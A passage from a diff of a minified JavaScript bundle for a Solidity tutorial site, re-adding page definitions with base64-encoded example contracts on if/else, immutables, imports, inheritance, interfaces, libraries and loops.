Solidity",kG="https://www.cyfrin.io/glossary/if-else-solidity-code-example",ZG=[{fileName:"IfElse.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IElmRWxzZSB7CiAgICBmdW5jdGlvbiBmb28odWludDI1NiB4KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgaWYgKHggPCAxMCkgewogICAgICAgICAgICByZXR1cm4gMDsKICAgICAgICB9IGVsc2UgaWYgKHggPCAyMCkgewogICAgICAgICAgICByZXR1cm4gMTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICByZXR1cm4gMjsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdGVybmFyeSh1aW50MjU2IF94KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgLy8gaWYgKF94IDwgMTApIHsKICAgICAgICAvLyAgICAgcmV0dXJuIDE7CiAgICAgICAgLy8gfQogICAgICAgIC8vIHJldHVybiAyOwoKICAgICAgICAvLyBzaG9ydGhhbmQgd2F5IHRvIHdyaXRlIGlmIC8gZWxzZSBzdGF0ZW1lbnQKICAgICAgICAvLyB0aGUgIj8iIG9wZXJhdG9yIGlzIGNhbGxlZCB0aGUgdGVybmFyeSBvcGVyYXRvcgogICAgICAgIHJldHVybiBfeCA8IDEwID8gMSA6IDI7CiAgICB9Cn0K"}],WG=`

                                      Solidity supports conditional statements if, else if and else.

                                      // SPDX-License-Identifier: MIT
                                       pragma solidity ^0.8.26;
                                       
                                      @@ -11246,7 +11618,7 @@ if the signer's intention was to approve a transaction once.

                                      return _x < 10 ? 1 : 2; } } -
                                      `,j2=({prev:s,next:a})=>r.jsx(A,{version:i2,title:g2,description:h2,cyfrinLink:I2,html:C2,prev:s,next:a,codes:d2}),A2="0.8.26",u2="Immutable",y2="Immutable variables",m2="https://www.cyfrin.io/glossary/immutable-solidity-code-example",b2=[{fileName:"Immutable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEltbXV0YWJsZSB7CiAgICAvLyBjb2RpbmcgY29udmVudGlvbiB0byB1cHBlcmNhc2UgY29uc3RhbnQgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBpbW11dGFibGUgTVlfQUREUkVTUzsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBNWV9VSU5UOwoKICAgIGNvbnN0cnVjdG9yKHVpbnQyNTYgX215VWludCkgewogICAgICAgIE1ZX0FERFJFU1MgPSBtc2cuc2VuZGVyOwogICAgICAgIE1ZX1VJTlQgPSBfbXlVaW50OwogICAgfQp9Cg=="}],w2=`

                                      Immutable variables are like constants. Values of immutable variables can be set inside the constructor but cannot be modified afterwards.

                                      +`,GG=({prev:s,next:a})=>r.jsx(A,{version:mG,title:bG,description:wG,cyfrinLink:kG,html:WG,prev:s,next:a,codes:ZG}),BG="0.8.26",fG="Immutable",VG="Immutable variables",YG="https://www.cyfrin.io/glossary/immutable-solidity-code-example",XG=[{fileName:"Immutable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEltbXV0YWJsZSB7CiAgICAvLyBjb2RpbmcgY29udmVudGlvbiB0byB1cHBlcmNhc2UgY29uc3RhbnQgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBpbW11dGFibGUgTVlfQUREUkVTUzsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBNWV9VSU5UOwoKICAgIGNvbnN0cnVjdG9yKHVpbnQyNTYgX215VWludCkgewogICAgICAgIE1ZX0FERFJFU1MgPSBtc2cuc2VuZGVyOwogICAgICAgIE1ZX1VJTlQgPSBfbXlVaW50OwogICAgfQp9Cg=="}],RG=`

                                      Immutable variables are like constants. Values of immutable variables can be set inside the constructor but cannot be modified afterwards.

                                      // SPDX-License-Identifier: MIT
                                       pragma solidity ^0.8.26;
                                       
                                      @@ -11260,7 +11632,7 @@ if the signer's intention was to approve a transaction once.

                                      MY_UINT = _myUint; } } -
                                      `,k2=({prev:s,next:a})=>r.jsx(A,{version:A2,title:u2,description:y2,cyfrinLink:m2,html:w2,prev:s,next:a,codes:b2}),Z2="0.8.26",W2="Import",B2="Learn how to import other Solidity files",G2="https://www.cyfrin.io/glossary/import-solidity-code-example",f2=[{fileName:"Foo.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCnN0cnVjdCBQb2ludCB7CiAgICB1aW50MjU2IHg7CiAgICB1aW50MjU2IHk7Cn0KCmVycm9yIFVuYXV0aG9yaXplZChhZGRyZXNzIGNhbGxlcik7CgpmdW5jdGlvbiBhZGQodWludDI1NiB4LCB1aW50MjU2IHkpIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgcmV0dXJuIHggKyB5Owp9Cgpjb250cmFjdCBGb28gewogICAgc3RyaW5nIHB1YmxpYyBuYW1lID0gIkZvbyI7Cn0K"},{fileName:"Import.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIGltcG9ydCBGb28uc29sIGZyb20gY3VycmVudCBkaXJlY3RvcnkKaW1wb3J0ICIuL0Zvby5zb2wiOwoKLy8gaW1wb3J0IHtzeW1ib2wxIGFzIGFsaWFzLCBzeW1ib2wyfSBmcm9tICJmaWxlbmFtZSI7CmltcG9ydCB7VW5hdXRob3JpemVkLCBhZGQgYXMgZnVuYywgUG9pbnR9IGZyb20gIi4vRm9vLnNvbCI7Cgpjb250cmFjdCBJbXBvcnQgewogICAgLy8gSW5pdGlhbGl6ZSBGb28uc29sCiAgICBGb28gcHVibGljIGZvbyA9IG5ldyBGb28oKTsKCiAgICAvLyBUZXN0IEZvby5zb2wgYnkgZ2V0dGluZyBpdCdzIG5hbWUuCiAgICBmdW5jdGlvbiBnZXRGb29OYW1lKCkgcHVibGljIHZpZXcgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiBmb28ubmFtZSgpOwogICAgfQp9Cg=="}],V2=`

                                      You can import local and external files in Solidity.

                                      +`,vG=({prev:s,next:a})=>r.jsx(A,{version:BG,title:fG,description:VG,cyfrinLink:YG,html:RG,prev:s,next:a,codes:XG}),NG="0.8.26",HG="Import",KG="Learn how to import other Solidity files",FG="https://www.cyfrin.io/glossary/import-solidity-code-example",MG=[{fileName:"Foo.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCnN0cnVjdCBQb2ludCB7CiAgICB1aW50MjU2IHg7CiAgICB1aW50MjU2IHk7Cn0KCmVycm9yIFVuYXV0aG9yaXplZChhZGRyZXNzIGNhbGxlcik7CgpmdW5jdGlvbiBhZGQodWludDI1NiB4LCB1aW50MjU2IHkpIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgcmV0dXJuIHggKyB5Owp9Cgpjb250cmFjdCBGb28gewogICAgc3RyaW5nIHB1YmxpYyBuYW1lID0gIkZvbyI7Cn0K"},{fileName:"Import.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIGltcG9ydCBGb28uc29sIGZyb20gY3VycmVudCBkaXJlY3RvcnkKaW1wb3J0ICIuL0Zvby5zb2wiOwoKLy8gaW1wb3J0IHtzeW1ib2wxIGFzIGFsaWFzLCBzeW1ib2wyfSBmcm9tICJmaWxlbmFtZSI7CmltcG9ydCB7VW5hdXRob3JpemVkLCBhZGQgYXMgZnVuYywgUG9pbnR9IGZyb20gIi4vRm9vLnNvbCI7Cgpjb250cmFjdCBJbXBvcnQgewogICAgLy8gSW5pdGlhbGl6ZSBGb28uc29sCiAgICBGb28gcHVibGljIGZvbyA9IG5ldyBGb28oKTsKCiAgICAvLyBUZXN0IEZvby5zb2wgYnkgZ2V0dGluZyBpdCdzIG5hbWUuCiAgICBmdW5jdGlvbiBnZXRGb29OYW1lKCkgcHVibGljIHZpZXcgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiBmb28ubmFtZSgpOwogICAgfQp9Cg=="}],SG=`

                                      You can import local and external files in Solidity.

                                      Local

                                      Here is our folder structure.

                                      ├── Import.sol
                                      @@ -11310,7 +11682,7 @@ if the signer's intention was to approve a transaction once.

                                      // Example import ECDSA.sol from openzeppelin-contract repo, release-v4.5 branch // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol"; -
                                      `,Y2=({prev:s,next:a})=>r.jsx(A,{version:Z2,title:W2,description:B2,cyfrinLink:G2,html:V2,prev:s,next:a,codes:f2}),X2="0.8.26",v2="Inheritance",R2="Example of inheritance in Solidity",N2="https://www.cyfrin.io/glossary/inheritance-solidity-code-example",H2=[{fileName:"Inheritance.sol",code:"Ly8gU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QyB7CiAgICAvLyBELmZvbygpIHJldHVybnMgIkMiCiAgICAvLyBzaW5jZSBDIGlzIHRoZSByaWdodCBtb3N0IHBhcmVudCBjb250cmFjdCB3aXRoIGZ1bmN0aW9uIGZvbygpCiAgICBmdW5jdGlvbiBmb28oKSBwdWJsaWMgcHVyZSBvdmVycmlkZShCLCBDKSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIHN1cGVyLmZvbygpOwogICAgfQp9Cgpjb250cmFjdCBFIGlzIEMsIEIgewogICAgLy8gRS5mb28oKSByZXR1cm5zICJCIgogICAgLy8gc2luY2UgQiBpcyB0aGUgcmlnaHQgbW9zdCBwYXJlbnQgY29udHJhY3Qgd2l0aCBmdW5jdGlvbiBmb28oKQogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIHB1cmUgb3ZlcnJpZGUoQywgQikgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiBzdXBlci5mb28oKTsKICAgIH0KfQoKLy8gSW5oZXJpdGFuY2UgbXVzdCBiZSBvcmRlcmVkIGZyb20g4oCcbW9zdCBiYXNlLWxpa2XigJ0gdG8g4oCcbW9zdCBkZXJpdmVk4oCdLgovLyBTd2FwcGluZyB0aGUgb3JkZXIgb2YgQSBhbmQgQiB3aWxsIHRocm93IGEgY29tcGlsYXRpb24gZXJyb3IuCmNvbnRyYWN0IEYgaXMgQSwgQiB7CiAgICBmdW5jdGlvbiBmb28oKSBwdWJsaWMgcHVyZSBvdmVycmlkZShBLCBCKSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIHN1cGVyLmZvbygpOwogICAgfQp9Cg=="}],F2=`

                                      Solidity supports multiple inheritance. Contracts can inherit other contract by using the is keyword.

                                      +`,xG=({prev:s,next:a})=>r.jsx(A,{version:NG,title:HG,description:KG,cyfrinLink:FG,html:SG,prev:s,next:a,codes:MG}),JG="0.8.26",zG="Inheritance",DG="Example of inheritance in Solidity",EG="https://www.cyfrin.io/glossary/inheritance-solidity-code-example",QG=[{fileName:"Inheritance.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qIEdyYXBoIG9mIGluaGVyaXRhbmNlCiAgICBBCiAgIC8gXAogIEIgICBDCiAvIFwgLwpGICBELEUKCiovCgpjb250cmFjdCBBIHsKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyBwdXJlIHZpcnR1YWwgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiQSI7CiAgICB9Cn0KCi8vIENvbnRyYWN0cyBpbmhlcml0IG90aGVyIGNvbnRyYWN0cyBieSB1c2luZyB0aGUga2V5d29yZCAnaXMnLgpjb250cmFjdCBCIGlzIEEgewogICAgLy8gT3ZlcnJpZGUgQS5mb28oKQogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIHB1cmUgdmlydHVhbCBvdmVycmlkZSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuICJCIjsKICAgIH0KfQoKY29udHJhY3QgQyBpcyBBIHsKICAgIC8vIE92ZXJyaWRlIEEuZm9vKCkKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyBwdXJlIHZpcnR1YWwgb3ZlcnJpZGUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiQyI7CiAgICB9Cn0KCi8vIENvbnRyYWN0cyBjYW4gaW5oZXJpdCBmcm9tIG11bHRpcGxlIHBhcmVudCBjb250cmFjdHMuCi8vIFdoZW4gYSBmdW5jdGlvbiBpcyBjYWxsZWQgdGhhdCBpcyBkZWZpbmVkIG11bHRpcGxlIHRpbWVzIGluCi8vIGRpZmZlcmVudCBjb250cmFjdHMsIHBhcmVudCBjb250cmFjdHMgYXJlIHNlYXJjaGVkIGZyb20KLy8gcmlnaHQgdG8gbGVmdCwgYW5kIGluIGRlcHRoLWZpcnN0IG1hbm5lci4KCmNvbnRyYWN0IEQgaXMgQiwgQyB7CiAgICAvLyBELmZvbygpIHJldHVybnMgIkMiCiAgICAvLyBzaW5jZSBDIGlzIHRoZSByaWdodCBtb3N0IHBhcmVudCBjb250cmFjdCB3aXRoIGZ1bmN0aW9uIGZvbygpCiAgICBmdW5jdGlvbiBmb28oKSBwdWJsaWMgcHVyZSBvdmVycmlkZShCLCBDKSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIHN1cGVyLmZvbygpOwogICAgfQp9Cgpjb250cmFjdCBFIGlzIEMsIEIgewogICAgLy8gRS5mb28oKSByZXR1cm5zICJCIgogICAgLy8gc2luY2UgQiBpcyB0aGUgcmlnaHQgbW9zdCBwYXJlbnQgY29udHJhY3Qgd2l0aCBmdW5jdGlvbiBmb28oKQogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIHB1cmUgb3ZlcnJpZGUoQywgQikgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiBzdXBlci5mb28oKTsKICAgIH0KfQoKLy8gSW5oZXJpdGFuY2UgbXVzdCBiZSBvcmRlcmVkIGZyb20g4oCcbW9zdCBiYXNlLWxpa2XigJ0gdG8g4oCcbW9zdCBkZXJpdmVk4oCdLgovLyBTd2FwcGluZyB0aGUgb3JkZXIgb2YgQSBhbmQgQiB3aWxsIHRocm93IGEgY29tcGlsYXRpb24gZXJyb3IuCmNvbnRyYWN0IEYgaXMgQSwgQiB7CiAgICBmdW5jdGlvbiBmb28oKSBwdWJsaWMgcHVyZSBvdmVycmlkZShBLCBCKSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIHN1cGVyLmZvbygpOwogICAgfQp9Cg=="}],TG=`

                                      Solidity supports multiple inheritance. Contracts can inherit other contract by using the is keyword.

                                      Function that is going to be overridden by a child contract must be declared as virtual.

                                      Function that is going to override a parent function must use the keyword override.

                                      Order of inheritance is important.

                                      @@ -11376,7 +11748,7 @@ F D,E return super.foo(); } } -`,K2=({prev:s,next:a})=>r.jsx(A,{version:X2,title:v2,description:R2,cyfrinLink:N2,html:F2,prev:s,next:a,codes:H2}),M2="0.8.26",S2="Interface",x2="An example of interface in Solidity",J2="https://www.cyfrin.io/glossary/interface-solidity-code-example",z2=[{fileName:"Interface.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludDI1NiBwdWJsaWMgY291bnQ7CgogICAgZnVuY3Rpb24gaW5jcmVtZW50KCkgZXh0ZXJuYWwgewogICAgICAgIGNvdW50ICs9IDE7CiAgICB9Cn0KCmludGVyZmFjZSBJQ291bnRlciB7CiAgICBmdW5jdGlvbiBjb3VudCgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CgogICAgZnVuY3Rpb24gaW5jcmVtZW50KCkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IE15Q29udHJhY3QgewogICAgZnVuY3Rpb24gaW5jcmVtZW50Q291bnRlcihhZGRyZXNzIF9jb3VudGVyKSBleHRlcm5hbCB7CiAgICAgICAgSUNvdW50ZXIoX2NvdW50ZXIpLmluY3JlbWVudCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldENvdW50KGFkZHJlc3MgX2NvdW50ZXIpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBJQ291bnRlcihfY291bnRlcikuY291bnQoKTsKICAgIH0KfQoKLy8gVW5pc3dhcCBleGFtcGxlCmludGVyZmFjZSBVbmlzd2FwVjJGYWN0b3J5IHsKICAgIGZ1bmN0aW9uIGdldFBhaXIoYWRkcmVzcyB0b2tlbkEsIGFkZHJlc3MgdG9rZW5CKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGFkZHJlc3MgcGFpcik7Cn0KCmludGVyZmFjZSBVbmlzd2FwVjJQYWlyIHsKICAgIGZ1bmN0aW9uIGdldFJlc2VydmVzKCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MTEyIHJlc2VydmUwLCB1aW50MTEyIHJlc2VydmUxLCB1aW50MzIgYmxvY2tUaW1lc3RhbXBMYXN0KTsKfQoKY29udHJhY3QgVW5pc3dhcEV4YW1wbGUgewogICAgYWRkcmVzcyBwcml2YXRlIGZhY3RvcnkgPSAweDVDNjliRWU3MDFlZjgxNGEyQjZhM0VERDRCMTY1MkNCOWNjNWFBNmY7CiAgICBhZGRyZXNzIHByaXZhdGUgZGFpID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwogICAgYWRkcmVzcyBwcml2YXRlIHdldGggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CgogICAgZnVuY3Rpb24gZ2V0VG9rZW5SZXNlcnZlcygpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NiwgdWludDI1NikgewogICAgICAgIGFkZHJlc3MgcGFpciA9IFVuaXN3YXBWMkZhY3RvcnkoZmFjdG9yeSkuZ2V0UGFpcihkYWksIHdldGgpOwogICAgICAgICh1aW50MjU2IHJlc2VydmUwLCB1aW50MjU2IHJlc2VydmUxLCkgPQogICAgICAgICAgICBVbmlzd2FwVjJQYWlyKHBhaXIpLmdldFJlc2VydmVzKCk7CiAgICAgICAgcmV0dXJuIChyZXNlcnZlMCwgcmVzZXJ2ZTEpOwogICAgfQp9Cg=="}],D2=`

                                      You can interact with other contracts by declaring an Interface.

                                      +`,UG=({prev:s,next:a})=>r.jsx(A,{version:JG,title:zG,description:DG,cyfrinLink:EG,html:TG,prev:s,next:a,codes:QG}),LG="0.8.26",_G="Interface",OG="An example of interface in Solidity",PG="https://www.cyfrin.io/glossary/interface-solidity-code-example",$G=[{fileName:"Interface.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludDI1NiBwdWJsaWMgY291bnQ7CgogICAgZnVuY3Rpb24gaW5jcmVtZW50KCkgZXh0ZXJuYWwgewogICAgICAgIGNvdW50ICs9IDE7CiAgICB9Cn0KCmludGVyZmFjZSBJQ291bnRlciB7CiAgICBmdW5jdGlvbiBjb3VudCgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CgogICAgZnVuY3Rpb24gaW5jcmVtZW50KCkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IE15Q29udHJhY3QgewogICAgZnVuY3Rpb24gaW5jcmVtZW50Q291bnRlcihhZGRyZXNzIF9jb3VudGVyKSBleHRlcm5hbCB7CiAgICAgICAgSUNvdW50ZXIoX2NvdW50ZXIpLmluY3JlbWVudCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldENvdW50KGFkZHJlc3MgX2NvdW50ZXIpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBJQ291bnRlcihfY291bnRlcikuY291bnQoKTsKICAgIH0KfQoKLy8gVW5pc3dhcCBleGFtcGxlCmludGVyZmFjZSBVbmlzd2FwVjJGYWN0b3J5IHsKICAgIGZ1bmN0aW9uIGdldFBhaXIoYWRkcmVzcyB0b2tlbkEsIGFkZHJlc3MgdG9rZW5CKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGFkZHJlc3MgcGFpcik7Cn0KCmludGVyZmFjZSBVbmlzd2FwVjJQYWlyIHsKICAgIGZ1bmN0aW9uIGdldFJlc2VydmVzKCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MTEyIHJlc2VydmUwLCB1aW50MTEyIHJlc2VydmUxLCB1aW50MzIgYmxvY2tUaW1lc3RhbXBMYXN0KTsKfQoKY29udHJhY3QgVW5pc3dhcEV4YW1wbGUgewogICAgYWRkcmVzcyBwcml2YXRlIGZhY3RvcnkgPSAweDVDNjliRWU3MDFlZjgxNGEyQjZhM0VERDRCMTY1MkNCOWNjNWFBNmY7CiAgICBhZGRyZXNzIHByaXZhdGUgZGFpID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwogICAgYWRkcmVzcyBwcml2YXRlIHdldGggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CgogICAgZnVuY3Rpb24gZ2V0VG9rZW5SZXNlcnZlcygpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NiwgdWludDI1NikgewogICAgICAgIGFkZHJlc3MgcGFpciA9IFVuaXN3YXBWMkZhY3RvcnkoZmFjdG9yeSkuZ2V0UGFpcihkYWksIHdldGgpOwogICAgICAgICh1aW50MjU2IHJlc2VydmUwLCB1aW50MjU2IHJlc2VydmUxLCkgPQogICAgICAgICAgICBVbmlzd2FwVjJQYWlyKHBhaXIpLmdldFJlc2VydmVzKCk7CiAgICAgICAgcmV0dXJuIChyZXNlcnZlMCwgcmVzZXJ2ZTEpOwogICAgfQp9Cg=="}],qG=`

                                      You can interact with other contracts by declaring an Interface.

                                      Interface

                                      • cannot have any functions implemented
                                      • @@ -11439,7 +11811,7 @@ F D,E return (reserve0, reserve1); } } -`,E2=({prev:s,next:a})=>r.jsx(A,{version:M2,title:S2,description:x2,cyfrinLink:J2,html:D2,prev:s,next:a,codes:z2}),Q2="0.8.26",T2="Library",U2="Example of how to write and use libraries in your Solidity code",_2="https://www.cyfrin.io/glossary/library-solidity-code-example",L2=[{fileName:"Library.sol",code:"Ly8gU1BEWC1MaW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sICJDYW4ndCByZW1vdmUgZnJvbSBlbXB0eSBhcnJheSIpOwogICAgICAgIGFycltpbmRleF0gPSBhcnJbYXJyLmxlbmd0aCAtIDFdOwogICAgICAgIGFyci5wb3AoKTsKICAgIH0KfQoKY29udHJhY3QgVGVzdEFycmF5IHsKICAgIHVzaW5nIEFycmF5IGZvciB1aW50MjU2W107CgogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CgogICAgZnVuY3Rpb24gdGVzdEFycmF5UmVtb3ZlKCkgcHVibGljIHsKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCAzOyBpKyspIHsKICAgICAgICAgICAgYXJyLnB1c2goaSk7CiAgICAgICAgfQoKICAgICAgICBhcnIucmVtb3ZlKDEpOwoKICAgICAgICBhc3NlcnQoYXJyLmxlbmd0aCA9PSAyKTsKICAgICAgICBhc3NlcnQoYXJyWzBdID09IDApOwogICAgICAgIGFzc2VydChhcnJbMV0gPT0gMik7CiAgICB9Cn0K"}],O2=`

                                        Libraries are similar to contracts, but you can't declare any state variable and +`,sB=({prev:s,next:a})=>r.jsx(A,{version:LG,title:_G,description:OG,cyfrinLink:PG,html:qG,prev:s,next:a,codes:$G}),aB="0.8.26",nB="Library",lB="Example of how to write and use libraries in your Solidity code",pB="https://www.cyfrin.io/glossary/library-solidity-code-example",eB=[{fileName:"Library.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmxpYnJhcnkgTWF0aCB7CiAgICBmdW5jdGlvbiBzcXJ0KHVpbnQyNTYgeSkgaW50ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBpZiAoeSA+IDMpIHsKICAgICAgICAgICAgeiA9IHk7CiAgICAgICAgICAgIHVpbnQyNTYgeCA9IHkgLyAyICsgMTsKICAgICAgICAgICAgd2hpbGUgKHggPCB6KSB7CiAgICAgICAgICAgICAgICB6ID0geDsK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AzOyBpKyspIHsKICAgICAgICAgICAgYXJyLnB1c2goaSk7CiAgICAgICAgfQoKICAgICAgICBhcnIucmVtb3ZlKDEpOwoKICAgICAgICBhc3NlcnQoYXJyLmxlbmd0aCA9PSAyKTsKICAgICAgICBhc3NlcnQoYXJyWzBdID09IDApOwogICAgICAgIGFzc2VydChhcnJbMV0gPT0gMik7CiAgICB9Cn0K"}],cB=`

                                        Libraries are similar to contracts, but you can't declare any state variable and you can't send ether.

                                        A library is embedded into the contract if all library functions are internal.

                                        Otherwise the library must be deployed and then linked before the contract is deployed.

                                        @@ -11496,7 +11868,7 @@ you can't send ether.

                                        assert(arr[1] == 2); } } -`,P2=({prev:s,next:a})=>r.jsx(A,{version:Q2,title:T2,description:U2,cyfrinLink:_2,html:O2,prev:s,next:a,codes:L2}),$2="0.8.26",q2="For and While Loop",sB="Example of for and while loop in Solidity",aB="https://www.cyfrin.io/glossary/for-and-while-loop-solidity-code-example",nB=[{fileName:"Loop.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IExvb3AgewogICAgZnVuY3Rpb24gbG9vcCgpIHB1YmxpYyB7CiAgICAgICAgLy8gZm9yIGxvb3AKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCAxMDsgaSsrKSB7CiAgICAgICAgICAgIGlmIChpID09IDMpIHsKICAgICAgICAgICAgICAgIC8vIFNraXAgdG8gbmV4dCBpdGVyYXRpb24gd2l0aCBjb250aW51ZQogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGkgPT0gNSkgewogICAgICAgICAgICAgICAgLy8gRXhpdCBsb29wIHdpdGggYnJlYWsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAvLyB3aGlsZSBsb29wCiAgICAgICAgdWludDI1NiBqOwogICAgICAgIHdoaWxlIChqIDwgMTApIHsKICAgICAgICAgICAgaisrOwogICAgICAgIH0KICAgIH0KfQo="}],lB=`

                                        Solidity supports for, while, and do while loops.

                                        +`,tB=({prev:s,next:a})=>r.jsx(A,{version:aB,title:nB,description:lB,cyfrinLink:pB,html:cB,prev:s,next:a,codes:eB}),oB="0.8.26",rB="For and While Loop",iB="Example of for and while loop in Solidity",gB="https://www.cyfrin.io/glossary/for-and-while-loop-solidity-code-example",hB=[{fileName:"Loop.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IExvb3AgewogICAgZnVuY3Rpb24gbG9vcCgpIHB1YmxpYyB7CiAgICAgICAgLy8gZm9yIGxvb3AKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCAxMDsgaSsrKSB7CiAgICAgICAgICAgIGlmIChpID09IDMpIHsKICAgICAgICAgICAgICAgIC8vIFNraXAgdG8gbmV4dCBpdGVyYXRpb24gd2l0aCBjb250aW51ZQogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGkgPT0gNSkgewogICAgICAgICAgICAgICAgLy8gRXhpdCBsb29wIHdpdGggYnJlYWsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAvLyB3aGlsZSBsb29wCiAgICAgICAgdWludDI1NiBqOwogICAgICAgIHdoaWxlIChqIDwgMTApIHsKICAgICAgICAgICAgaisrOwogICAgICAgIH0KICAgIH0KfQo="}],IB=`

                                        Solidity supports for, while, and do while loops.

                                        Don't write loops that are unbounded as this can hit the gas limit, causing your transaction to fail.

                                        For the reason above, while and do while loops are rarely used.

                                        // SPDX-License-Identifier: MIT
